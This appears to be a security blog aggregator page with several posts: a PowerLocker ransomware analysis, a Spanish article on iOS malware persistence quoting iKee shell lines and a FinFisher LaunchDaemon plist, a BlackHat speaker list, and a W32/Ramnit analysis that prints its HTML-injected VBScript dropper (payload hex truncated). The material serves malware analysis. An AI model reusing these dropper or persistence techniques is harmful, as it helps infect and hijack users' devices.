Security Posts

PowerLocker, also called PrisonLocker, is a new family of ransomware which in addition to encrypting files on the victim’s computer (as with other such malware) threatens to block users’ computers until they pay a ransom (like the ‘Police virus’). Although the idea of ​​combining the two techniques may have caused more than a few sleepless nights, in this case the malware is just a prototype. During its development, the malware creator has been posting on blogs and forums describing the progress and explaining the different techniques included in the code. The malware creator’s message in pastebin In this post for example, the creator describes how PowerLocker is a ransomware written in c/c++ which encrypts files on infected computers and locks the screen, asking for a ransom. The malware encrypts the files, which is typical of this type of malware, using Blowfish as an encryption algorithm with a unique key for each encrypted file. It stores each unique key generated with an RSA-2048 public/private key algorithm, so only the holder of the private key can decrypt all the files. Also, according to the creator, PowerLocker uses anti-debugging, anti-sandbox and anti-VM features as well as disabling tools like the task manager, registry editor or the command line window. However, all the publicity surrounding PowerLocker that the creator has been generating across forums and blogs before releasing it, has led to his arrest in Florida, USA. Consequently, today there is no definitive version of this malware and there is no evidence that it is in-the-wild. Nevertheless, we still feel it’s worth analyzing the current version of PowerLocker, as someone else could be in possession of the source code or even a later version.   PowerLocker analysis The first thing PowerLocker does is to check whether two files with RSA keys are already created, and if not, it generates the public and private key in two files on the disk (pubkey.bin and privkey.bin). Unlike other ransomware specimens, which use the Windows CrytoAPI service, PowerLocker uses the openssl library for generating keys and encrypting files. Once it has the keys, PowerLocker runs a recursive search of directories looking for files to encrypt, excluding, not very effectively, files with any of the file names used by the malware: privkey.bin, pubkey.bin, countdown.txt, cryptedcount.txt. It also avoids $recycle.bin, .rans, .exe, .dll, .ini, .vxd or .drv files to prevent causing irreparable damage to the computer. The creator has however forgotten to exclude certain extensions corresponding to files which are delicate enough to affect the functionality of the system, such as .sys files. This means that any computer infected with PowerLocker would be unable to reboot. Moreover, in this version it is possible to use a parameter to control whether the ransomware encrypts or decrypts files using the pubkey.bin and privkey.bin keys generated when it was first run. This version does not include the screen lock feature described by the creator, although it displays a console with debug messages, names of the files to encrypt/decrypt, etc. and asks you to press a key before each encryption or decryption.   Conclusions At present, there is only a half-finished version of PowerLocker which could practically be labelled harmless, and which lacks many of the most important features that the creator has described on the forums and blogs, such as anti-debugging, screen locking, etc. Despite it not being fully functional we would recommend having a system for backing up critical files, not just to offer assurance in the event of hardware problems, but also to mitigate the damage of these types of malware infections. Also bear in mind that if you don’t have a backup system and your system is infected, we certainly do not recommend paying the ransom, as this only serves to encourage the perpetrators of such crimes. PowerLocker analysis performed by Javier Vicente

En el pasado artículo estuvimos revisando los puntos débiles que tiene un malware a la hora de sobrevivir un reinicio del sistema, y nos centramos en OSX. Ahora toca el turno a iOS, que al ser una especie de spin-off de OSX, vamos a ver que existen muchas similitudes. De hecho, en el caso de iOS, no existen tantos puntos donde una aplicación va a poder registrarse para sobrevivir a un reinicio. Al ser un sistema tan cerrado, y mucho más simple que un sistema clásico de escritorio, estos puntos de arranque son mucho menos. El sitio por excelencia para registrarse una aplicación que quiera ser arrancada en el reinicio es /System/Library/LaunchDaemons, y su funcionamiento es exactamente igual que en la de su hermano OSX. Basta con dejar un archivo con un formato específico (fichero .plist) en ese directorio, que será interpretado por launchd en el arranque y ejecutará lo que esté configurado. Aunque es importante reseñar que no es posible acceder a incluir ningún fichero en ese directorio sino es a través de algún exploit/jailbreak. También existen el directorio /Library/LaunchAgents y /Library/LaunchDaemons, pero no son utilizados por el sistema. Tan sólo después de hacer un jailbreak, sí que se utiliza el segundo, y algunas aplicaciones de Cydia registran ahí sus ficheros .plist (como OpenSSH). Por ejemplo, en el primer malware que apareció para iOS (sólo para dispositivos con jailbreak), llamado iKee (con todas sus variantes iKee.A, iKee.B y iKee.C), utilizaba este sistema para sobrevivir al reinicio, instalando tres archivos en este directorio. Si nos fijamos en el código de iKee, veamos cómo instalaba uno de estos ficheros: rm -rf /System/Library/LaunchDaemons/com.apple.ksyslog.plist
#cp com.apple.ksyslog.plist /private/var/mobile/home/
cp com.apple.ksyslog.plist /System/Library/LaunchDaemons/com.apple.ksyslog.plist
#/bin/launchctl load -w /System/Library/LaunchDaemons/com.apple.ksyslog.plist También en el caso del 'troyano' creado por FinFisher para la monitorización de dispositivos iOS, se utiliza un archivo .plist en el directorio /System/Library/LaunchDaemons llamado com.apple.logind.plist, con el objetivo de sobrevivir un reinicio (y ejecutar el binario logind): <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Disabled</key> <false/> <key>Label</key> <string>home.logind</string> <key>OnDemand</key> <false/> <key>ProgramArgumments</key> <array> <string>/System/Library/CoreServices/logind.app/logind</string> <string></string> <string></string> </array> <key>StandardErrorPath</key> <string>/dev/null</string> </dict> </plist> En teoría, no existe ningún otra forma de registrarse en el sistema para ser ejecutado en un arranque. Aunque no es del todo cierto, puesto que Apple sí que permite ejecutar aplicaciones que no sean del sistema en el arranque, sin tener que utilizar ningún exploit o jailbreak: utilizando el parámetro UIBackgroundModes (a partir de 4.0) en el fichero Info.plist de la app. Según la documentación de Apple, UIBackgroundModes se utiliza para especificar si una app necesita ejecutarse de forma continua en el background, pero Apple sólo permite ciertos tipos de aplicaciones utilizar este parámetro:

• Audio (audio): para que suenen las canciones
• Posición (location): si se necesita tener un control fino de la posición (por ejemplo en aplicaciones de deportes)
• VoIP (voip): siempre conectado para recibir llamadas
• Revistas (newsstand-content): descargar contenidos de forma inmediata
• Accesorios externos (external-accesory): estar conectado continuamente
• Bluetooth (bluetooth-central y bluetooth-peripheral): estar conectado continuamente

Para posibles fines que pueda tener un malware, la que más interesa es la opción de VoIP, puesto que permite controlar las comunicaciones en background, y además será arrancada en el reinicio del dispositivo por parte del sistema. <key>UIBackgroundModes</key> <array> <string>voip</string> </array> Para demostrarlo, el desarrollador Timothy L. Ekl ha desarrollado una pequeña app que utiliza la clave UIBackgroundModes con el valor 'voip', y efectivamente, la aplicación se ejecuta en el reinicio del sistema de forma automática. Según parece, en el proceso de revisión de Apple a la hora de incorporar una nueva app en la AppStore, si una app tiene el parámetro UIBackgroundModes puesto a 'voip', se comprueba que realmente es una aplicación de VoIP, y si no, se rechaza. En nuestro caso de un malware, nos da relativamente igual puesto que en principio ese malware habrá infectado el sistema con otros medios que no sea a través de la AppStore, con lo que podría usar este parámetro sin problemas para sobrevivir al reinicio. A día de hoy no se ha visto ningún malware que utilice esta técnica, pero puede que en el futuro podamos ver alguno. El último superviviente (I) - OSX
El último superviviente (II) - iOS

Siguiendo con la estela del artículo publicado 'Españoles por la Phrack', vuelvo a la carga con un artículo parecido, pero en este caso sobre una de las conferencias de seguridad que más conoce la gente: BlackHat. Si os dedicáis a la seguridad informática, alguna vez tenéis que ir a Las Vegas durante el mes de agosto para conocer de primera mano que suceden en estas conferencias, puesto que es casi una peregrinación obligada. Las conferencias BlackHat fueron fundadas en 1997 por Jeff Moss (The Dark Tangent) y aunque al principio eran las conferencias donde todos los investigadores nos guardábamos nuestros descubrimientos para enseñarlos allí, poco a poco se ha ido perdiendo ese espíritu por diversas razones; ahora mismo existen innumerables conferencias de seguridad en casi todos los países, muchas conferencias se han vuelto más comerciales, etc. También influyó cuando en 2005 Jeff Moss vendió las conferencias a la empresa CMP Media, por alrededor de $13.9 millones. Aún así, todavía hoy en día son las más conocidas, y su versión de Las Vegas es posiblemente una de las conferencias de seguridad con más asistentes del mundo. Aunque nos ha costado un poco, también los españoles poco a poco nos hemos ido quitando el miedo y ya es normal ver a algún español dando alguna presentación en cualquiera de las BlackHat que se celebran por el mundo. Hagamos un repaso de las apariciones de españoles en alguna BlackHat:

• BlackHat 2005.
  • David Barroso (un servidor) y Alfredo Andrés con la presentación 'Yersinia, a framework for layer 2 attacks'
• BlackHat 2007.
  • Lluis Mora con la presentación 'SMTP Information Gathering'
  • Ero Carrera con la presentación 'Reverse Engineering Automation with Python'
• BlackHat 2008.
  • Chema Alonso y José Parada con la presentación 'LDAP Injection & Blind LDAP Injection'.
• BlackHat 2009.
  • Chema Alonso y Enrique Rando con la presentación 'Tactical Fingerprinting Using Metadata, Hidden Info and Lost Data'
• BlackHat 2010.
  • Ero Carrera y Peter Silberman con la presentación 'State of malware: family ties'
  • Chema Alonso y José Palazon con la presentación 'Connection String Parameter Pollution Attacks'
  • Leonardo Nve con la presentación 'Playing in a satellite environment 1.2'
• BlackHat 2011.
  • Raúl Siles con la presentación 'SAP: Session (Fixation) Attacks and Protections (in Web Applications)'
  • David Pérez y José Pico con la presentación 'A practical attack against GPRS/EDGE/UMTS/HSPA mobile data communications'
• BlackHat 2012.
  • Simon Roses con la presentación 'Smartphone's Apps Are Not That Smart: Insecure Development Practices'
  • Alberto García Illera con la presentación 'Enterprise malware, there is always a way. DNS/DNSSEC'
  • Chema Alonso con la presentación 'Owning bady guys (and mafia) with javascript botnets'
  • Rubén Santamarta con la presentación 'Here be backdoors: a journey into the secrets of industrial firmware'
  • Fermín J. Serna con la presentación 'The info leak era on software exploitation'
• BlackHat 2013.
  • Simon Roses y Curro Márquez con la presentación 'Dude, where's my laptop'

Como bien ha indicado Juan Garrido en los comentarios, también desde el año 2010 dentro de la BlackHat existe una sección para mostrar herramientas novedosas, que se llama BlackHat Arsenal. También a ella han acudido varios españoles para enseñar sus herramientas:

• BlackHat 2010.
  • Chema Alonso con la herramienta 'FOCA 2'
• BlackHat 2011.
  • Chema Alonso con la herramienta 'DUST - your RSS feed belongs to you'
• BlackHat 2012.
  • Luis Delgado con la herramienta 'XMPPPloit'
  • José Miguel Esparza con la herramienta 'PeePDF'
• BlackHat 2013.
  • Manuel Fernández con la herramienta 'HookMe'

The slides and videos from the 2011 Honeynet Project Security Workshop (Paris) are now available! You can get the material from http://www.honeynet.org/SecurityWorkshops/2011_Paris.

About the workshop:The workshop brought together experts in the field of information security from around the world to share the latest advances in security research. Our members covered topics such as new honeyclients, mobile malware, new reversing techniques, VOIP attacks and even social behavior of attackers. And besides the presentation, Felix Leder and Mark Schloesser from our Giraffe chapter and Guillaume Arcas from our French chapter put up some hands on exercises that allowed participants to test their skillz.

Today we’re going to take a look at an interesting file-infector virus. W32/Ramnit infects EXE, DLL and HTML files. That last one is right; W32/Ramnit also infects HTML files to replicate itself. Let’s start with the components of this thread. W32/Ramnit has basically three components. The infector, the infected code in EXE/DLL files, and the infected code in HTML files. The most simple of the three is the HTML infection code. This is just a piece of Visual Basic Script code added to the end of any HTML file that the virus can find at the target machine. By looking at the code, we can see it’s very simple indeed: </html> <SCRIPT Language=VBScript><!-- DropFileName = "svchost.exe" WriteData = "4D5A90000300000004000 … 0000000000000" Set FSO = CreateObject("Scripting.FileSystemObject") DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName If FSO.FileExists(DropPath)=False Then Set FileObj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step 2 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) Next FileObj.Close End If Set WSHshell = CreateObject("WScript.Shell") WSHshell.Run DropPath, 0 //--></SCRIPT> In the preceding we can see the code assigning the name svchost.exe to a variable, and then assigning a big chunk of data to variable WriteData. If you take a close look at that data, you will notice that is starts with 4D 5A. This is usually the magic number for PE files; i.e., this is the signature of a Windows executable file. So this variable contains a hex representation of a PE file. After that, the code tries to create a filename by joining the name of the file in the variable DropFileName with the result of VBS GetSpecialFolder(2) function. This function returns the %TEMP% path in Windows. Afterward, it tries to write the hex data to this file, but by transforming the hex representation to real hex bytes. This creates a binary file with the content of the variable WriteData. Later, the script tries to execute the newly created file with WSHshell.Run DropPath, 0. The file itself is a copy of the infector component of W32/Ramnit, which we’ll take a look later. But first, let’s see what code is added to PE/DLL files first. Any file infected by W32/Ramnit, either an EXE or a DLL file, will have some common characteristics. The infection works by adding an extra section at the end of the file, and this section is usually named .ramnit. The code entry point is changed to point to the start of this section, where the virus code is located. This code is just a dropper. It contain am embedded executable that is dropped in the system, and executed at the end. Looking at the code, we can see it’s very simple: As we can see, the virus uses an interesting method to get its starting address. Right after saving the flags, it calls 0×48b006, which is the next instruction; this will put the address of next instruction at the top of stack as the return address for this call. It then saves this value in EAX. The virus then takes the value in EAX, which is the address 0×0048b006, and subtracts an offset to the beginning of the code. Because there are 6 bytes to the instruction PUSHAD, this is the value subtracted from EAX. This register now points to the beginning of the infection code. The virus will use this information later to find the original entry point (OEP). This value is saved in a variable. Next, the virus looks for the import table of the original file, and tries to find the address for LoadLibraryA() and GetProcAddress(). These offsets are all precalculated by the infector at the moment of infection. When the virus has the addresses for these functions, it starts to load the other imports it will need: After loading all necessary functions, the virus checks if another copy is not running before continuing: The Mutex name and the other variables mentioned above are all located at the end of the virus code. Having all the information it needs now, the virus proceed to decrypt the embedded file that will be dropped. The encryption is a simple XOR base with a 0×14-bytes key. The key is stored in reverse order, so the code below will use it from last to first byte. The key itself in reversed order is: 8A 27 0E 94 C1 12 F8 F3 E7 8B C5 ED 35 18 26 9C 52 3A B8. Here is the decryption code: After a few executions of the loop, one can see the typical PE header showing up on the memory dump. Having decrypted the whole file, the virus code tries to create a new name for the dropped file. This name will be created based on the infected file name plus the string “Srv.” For example, if the infected file is named sample.exe, the dropped file name will be sampleSrv.exe: After writing the decrypted content to this new file, the virus code tries to execute it by calling CreateProcessA(). With all this done, the only thing missing is for the virus code to return to the OEP and pass control back to the original executable. This is done by calculating the offset from the beginning of virus code to the OEP: As we can see, the offset is stored in a local variable, and is calculated at infection time. This is always relative to the beginning of the virus code, although in some cases the original file is corrupted by the virus code. In the next post, we’ll take a look at how the infection occurs by analyzing the infector component of W32/Ramnit. We already detect this thread as W32/Ramnit.a, W32/Ramnit.a!htm, and W32/Ramnit.a.dr.